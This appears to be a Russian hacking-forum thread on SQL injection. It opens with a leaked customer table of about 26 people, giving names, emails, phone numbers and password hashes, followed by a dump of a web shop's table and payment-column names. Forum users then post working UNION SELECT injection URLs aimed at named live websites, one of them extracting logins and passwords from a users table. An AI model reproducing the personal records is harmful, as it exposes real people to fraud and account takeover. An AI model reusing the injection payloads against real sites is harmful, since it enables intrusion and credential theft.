1||Хммм|Хмммов|0000-00-00 00:00:00|h-m-m-m-m-m@hmmmmmmm.ru|1|000000||65bf0a10cb431d0252f6d6a05789ad04:28|||1|-0.00|1|1
2||Алексей|Кулаков|0000-00-00 00:00:00|bundas@yandex.ru|2|9425462||dc5a5013b1b1a54f0882c4eac857714b:19|1||0|-10.00|1|1
3||SINKO|SINKO|0000-00-00 00:00:00|sv@xmmm.ru|3|(916)1296585|(095)7374140|25b27129d60231e50dec008213d4bd1c:4b|1||0|-0.00|1|1
4||Владимир|Фетисов|0000-00-00 00:00:00|vfetisov@mccinet.ru|4|7955788||c62589baf3af4c2237bfb6ec18c23085:8f|1||0|-0.00|1|1
5||Вадим|Чурбаков|0000-00-00 00:00:00|chuchu@nordlines.ru|5|8-916-627 0 628||5cc70cbdcd9cedf07c1f9d79153a61ba:01|1||0|-0.00|1|1
6||Миша|Киселев|0000-00-00 00:00:00|web11@land.ru|6|9265674201||af73357720a15837c52147b1b5cc1887:5c|1||0|-0.00|1|1
7||Олег|Плуталов|0000-00-00 00:00:00|althinru@mail.ru|7|9204754||4624cb603f98fac22d1abc62c047a25c:1c|1||0|-0.00|1|1
8||Вадим|Шушпанов|0000-00-00 00:00:00|shvv1999@mail.ru|8|8-916-6805625||357ad3adfc79ee98390ea71ffc93658c:a8|||0|-0.00|1|1
9||Евгения|Ковтун|0000-00-00 00:00:00|kovtun@pisem.net|9|8(8632)75-44-96||2ddc4c10e2d9c225ee71bf1a3b1c6437:70|1||0|-0.00|1|1
10||Iring|Iring|0000-00-00 00:00:00|iring-iring@yandex.ru|10|184-30-73||f9cfbddd69d325f0faa61aa1719ad180:99|1||0|-0.00|1|1
11||шариков|влад|0000-00-00 00:00:00|snarikov@rambler.ru|11|8 910 912 6885||db8c134cad1e25e29c1f098fd70f102e:d3|1||0|-0.00|1|1
12||Полина|Петричева|0000-00-00 00:00:00|polina79@inbox.ru|12|(095)5053074||454c2c13a4c0d432cb355f99b7307266:66|1||0|-0.00|1|1
13||Стас|Переверзев|0000-00-00 00:00:00|Stanislav.pereve@mail.ru|13|8(8612)90 - 07 - 12||62eb9a47efd07d9adc5c654cce268efe:45|1||0|-0.00|1|1
14||Игорь|Савицкий|0000-00-00 00:00:00|belbor-s@mtu-net.ru|14|951-13-13||30b218f46a03e5e13af2e3c48a70307c:fe|1||0|-0.00|1|1
15||Оля|Русакова|0000-00-00 00:00:00|furba_2001@mail.ru|15|9040685||358e8f841818ce38ad167b9bae3fa2ce:1f|||0|-0.00|1|1
16||Николай|Карзов|0000-00-00 00:00:00|sanavia@chukotnet.ru|16|27303||b6eb7363134504e6baf98e6b0f449263:a3|1||0|-0.00|1|1
17||антон|родионов|0000-00-00 00:00:00|sales@belial.ru|17|539515||4612949ac720cf0f41bab61712d96663:b0|1||0|-0.00|1|1
18||Сергей|Беленичев|0000-00-00 00:00:00|belenichev@ask-petersburg.com|18|9396118||e109f0435f573ffd6e230ead3f028db9:99|1||0|-0.00|1|1
19||Татьяна|Худова|0000-00-00 00:00:00|zzzima@mail.ru|19|1647242||80ffa211c71fbd85ff8dce47b69ce919:31|||0|-0.00|1|1
20||alex|velichkin|0000-00-00 00:00:00|alex@eleks.ru|20|(095)776-08-17||f4f7b2afa558b6a521c16ae5bd0c04e4:ef|||0|-0.00|1|1
21||aaaa|lkjlkj|0000-00-00 00:00:00|work@xmmm.ru|21|77899||a703b133bf6942568706295d49c0f0af:ad|1||0|-0.00|1|1
22||Иванов|Иван|0000-00-00 00:00:00|alkabanov@mail.ru|22|1434324||3851954697d2df3bdfefb4dd5482eaa4:af|||0|-0.00|1|1
23||Константин|Дук|0000-00-00 00:00:00|zlo66@mail.ru|23|7362656||3730eb5a37dd3842500f604eb6db1898:a2|||0|-0.00|1|1
24||Алексей|Михайлов|0000-00-00 00:00:00|alex3416@yandex.ru|24|(231) 4-10-30||dd83be9195460bcf740a73c58561177f:a6|1||0|-0.00|1|1
25||D_emon|D_emon|0000-00-00 00:00:00|d_emon_@mail.ru|25|1255252||19d9e9e95a348bb12fea5fea3808ef99:0d|||0|-0.00|1|1
26||Юлия|Кружкова|0000-00-00 00:00:00|julia_k@ufacom.ru|26|3472287282||a9d3430743e5b1eea71552b6f9a60864:3b|1||0|-0.00|1|1

}
customers_basket
customers_basket_attributes
customers_groups
customers_info
customers_wishlist
faqdesk
faqdesk_categories
faqdesk_categories_description
faqdesk_configuration
faqdesk_configuration_group
faqdesk_description
faqdesk_reviews
faqdesk_reviews_description
faqdesk_to_categories
featured
geo_zones
guestbook
guestbook_description
infobox_configuration
information
languages
latest_news
link_categories
link_categories_description
links
links_description
links_status
links_to_link_categories
manudiscount
manufacturers
manufacturers_info
meta_tags
newsdesk
newsdesk_categories
newsdesk_categories_description
newsdesk_configuration
newsdesk_configuration_group
newsdesk_description
newsdesk_reviews
newsdesk_reviews_description
newsdesk_to_categories
newsletters
orders
orders_products
orders_products_attributes
orders_products_download
orders_status
orders_status_history
orders_total
payment_rupay {

rupay_TRID
rupay_ERRNO
rupay_ERRTXT
rupay_DATE
rupay_MBTID
rupay_STATUS
rupay_ORDERID

}
paypalipn_txn {

paypalipn_txn_id
txn_id
ipn_result
receiver_email
business
item_name
item_number
quantity
invoice
custom
option_name1
option_selection1
option_name2
option_selection2
num_cart_items
payment_status
pending_reason
payment_date
settle_amount
settle_currency
exchange_rate
payment_gross
payment_fee
mc_gross
mc_fee
mc_currency
tax
txn_type
for_auction
memo
first_name
last_name
address_street
address_city
address_state
address_zip
address_country
address_status
payer_email
payer_id
payer_status
payment_type
notify_version
verify_sign

}
phpbb_auth_access
phpbb_banlist
phpbb_categories
phpbb_config
phpbb_confirm
phpbb_disallow
phpbb_forum_prune
phpbb_forums
phpbb_groups
phpbb_posts
phpbb_posts_text
phpbb_privmsgs
phpbb_privmsgs_text
phpbb_ranks
phpbb_search_results
phpbb_search_wordlist
phpbb_search_wordmatch
phpbb_sessions
phpbb_smilies
phpbb_themes
phpbb_themes_name
phpbb_topics
phpbb_topics_watch
phpbb_user_group
phpbb_users
phpbb_vote_desc
phpbb_vote_results
phpbb_vote_voters
phpbb_words
products
products_attributes
products_attributes_download
products_description
products_notifications
products_options
products_options_values
products_options_values_to_products_options
products_parameters
products_parameters_gpoups
products_parameters_names
products_to_categories
products_xsell
reviews
reviews_description
salemaker_sales
scart
search_queries
search_queries_sorted
searchword_swap
sessions
shopdesk
shopdesk_categories
shopdesk_categories_description
shopdesk_configuration
shopdesk_configuration_group
shopdesk_description
shopdesk_reviews
shopdesk_reviews_description
shopdesk_to_categories
specials
tax_class
tax_rates
template
textual
topics
topics_description
whos_online
xaffiliates
xbanner
xbigreports
xboardmessages
xboards
xchats
xfriends
xgoods
xmeets
xmembers
xmessages
xmoderrights
xmoders
xmoneys
xnews
xophotos
xphotos
xplaces
xplacestat
xplacevotes
xpphotos
xppls
xpremembers
xpremembervotes
xrotabanner
xsBrands
xsCategories
xsOperations
xsParameters
xsProducts
xsProperties
xsUsers
xscores
xsessions
xsportx
xtools
xuses
xwanteds
xxgoodsport
xxmembermeet
xxmembermessage
xxmemberplace
xxmembersport
xxmembertool
xxmessageplace
xxplacesport
zones
zones_to_geo_zones
zz_faq

Hookman · 20 дек 2010

Код:

http://capnbry.net/daoc/mobs.php?z=73&m=4072+union+select+concat_ws(0x7c,version(),user(),database(),@@version_compile_os)--

Zik · 7 мар 2011

UnHidden Content:

_http://darabotau.com/page.php?page_id=12&lang=1&otbor=1+union+select+1,2,3,4,password,6,login,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,42,42,43,44,45,46,47,48,49,50,51,52,53,54,55+FROM+users--

казахстанский сайт проституток

sitroman · 25 апр 2011

http://www.pitatel.ru/product1.php?...1,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
Нажмите, чтобы раскрыть...

Добавлено через 18 минут

http://xage.ru/comments.php?id=13836"+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
Нажмите, чтобы раскрыть...

Вот еще сайт название наблицы users дальше ковырять лень

Добавлено через 2 часа 28 минут

Zik сказал(а): ↑

*** скрытый текст ***
казахстанский сайт проституток
Нажмите, чтобы раскрыть...

Сайт не рабочий..

Быстрый поиск

SQL-инъекции